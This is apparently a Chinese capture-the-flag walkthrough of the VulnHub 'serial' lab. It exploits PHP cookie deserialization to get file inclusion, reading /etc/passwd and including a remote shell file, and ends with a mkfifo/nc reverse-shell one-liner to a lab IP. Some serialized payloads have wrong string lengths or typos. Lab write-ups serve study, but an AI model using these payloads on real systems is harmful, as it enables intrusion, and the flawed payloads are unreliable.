当前位置: 首页 > news >正文

vulnhub之serial

这次我们来做这个靶场

项目地址https://download.vulnhub.com/serial/serial.zip

使用vm新建虚拟机

以下为注意事项

第一步,收集资产

扫描靶场ip

netdiscover -i eth0 -r 192.168.177.0/24

抓个包

扫描目录

看到了cookie中有一个user

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0%3D

去问问ai这是像是编码

O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}

看不懂,算了,爆破目录吧

dirsearch一下

下载他的备份,发现三个文件,看一看

这是每个php文件,并使用ai加了注释

index.php

<?php// 引入用户类文件 user.class.phpinclude("user.class.php");// 如果 $_COOKIE['user'] 未设置if(!isset($_COOKIE['user'])) {// 设置 cookie,使用 base64 编码和序列化后的用户对象setcookie("user", base64_encode(serialize(new User('sk4'))));} else {// 如果 $_COOKIE['user'] 已设置,则尝试反序列化并解码unserialize(base64_decode($_COOKIE['user']));}// 输出一条消息,说明这是一个新 cookie 处理器的测试版echo "This is a beta test for new cookie handler\n";
?>

log.class.php

<?phpclass Log {private $type_log; // 私有属性,用于存储日志类型的文件路径或句柄function __costruct($hnd) { // 构造函数,接受一个参数用于设置日志类型$this->$type_log = $hnd; // 将传入的日志类型参数赋值给类的属性 $type_log}public function handler($val) { // 公共方法,用于处理日志include($this->type_log); // 动态包含类属性 $type_log 指定的文件echo "LOG: " . $val; // 输出日志信息,格式为 "LOG: " 后跟 $val 的值}}
?>

user.class.php

<?phpinclude("log.class.php"); // 引入日志类文件 log.class.phpclass Welcome {public function handler($val) {echo "Hello " . $val; // 输出欢迎信息,格式为 "Hello " 后跟参数 $val 的值}}class User {private $name; // 私有属性,用于存储用户名private $wel;  // 私有属性,用于存储 Welcome 类的实例对象function __construct($name) { // 构造函数,接受一个参数 $name 用于设置用户名$this->name = $name; // 将传入的 $name 参数赋值给类的属性 $name$this->wel = new Welcome(); // 创建 Welcome 类的实例对象,并赋值给属性 $wel}function __destruct() { // 析构函数,在对象销毁时自动调用//echo "bye\n"; // 注释掉的代码,本意是在对象销毁时输出 "bye"$this->wel->handler($this->name); // 调用 Welcome 类的 handler 方法,向其传递当前对象的用户名参数 $this->name}}?>

审计完成代码,我们对抓包内容进行更改

O:4:"User":2:{s:10:"Username";s:5:"admin";s:9:"Userwel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}

加码

Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6ODoidHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==

构造语句

O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:25:"http://192.168.3.237/shell.txt";}}
/?cmd=rm+tmp/f%3bmkfifo+/tmp/f%3bcat+/tmpf|/bin/sh+-i+2>%261|nc+192.168.177.142+4444+>/tmp/f

网上找的攻击语句

http://www.lryc.cn/news/415568.html

相关文章:

  • 卷积神经网络(CNN)简单原理与简单代码实现
  • 实时数仓分层架构详解
  • 计算机“八股文”在实际工作中是助力、阻力还是空谈?
  • 新160个crackme - 022-CM_2
  • 在.c和.h 文件里定义数组的区别
  • 使用Step Functions运行AWS Backup时必备的权限要点
  • 强化JS基础水平的10个单行代码来喽!(必看)
  • 大模型学习笔记 - 大纲
  • 苹果电脑可以玩什么小游戏 适合Mac电脑玩的休闲游戏推荐
  • 浅谈KMP算法(c++)
  • 关于C++编程注意点(竞赛)
  • Markdown文本编辑器:Typora for Mac/win 中文版
  • Mysql-窗口函数一
  • Python3 爬虫 数据抓包
  • js强制刷新
  • yolov5 part2
  • Hive3:表操作常用语句-内部表、外部表
  • 【PXE+kickstart】linux网络服务之自动装机
  • vmware ubuntu虚拟机网络联网配置
  • Vue3_对接声网实时音视频_多人视频会议
  • 慧灵科技:创新引领自动化未来
  • 【TiDB 社区智慧合集】TiDB 在核心场景的实战应用
  • JetBrains:XML tag has empty body警告
  • XMLDecoder反序列化
  • C# 高级数据处理:深入解析数据分区 Join 与 GroupJoin 操作的应用与实例演示
  • 数据库典型例题2-ER图转换关系模型
  • Java:设计模式(单例,工厂,代理,命令,桥接,观察者)
  • 【算法】KMP算法
  • nginx续1:
  • 循环队列和阻塞有什么关系?和生产者消费者模型又有什么关系?阻塞队列和异步日志又有什么关系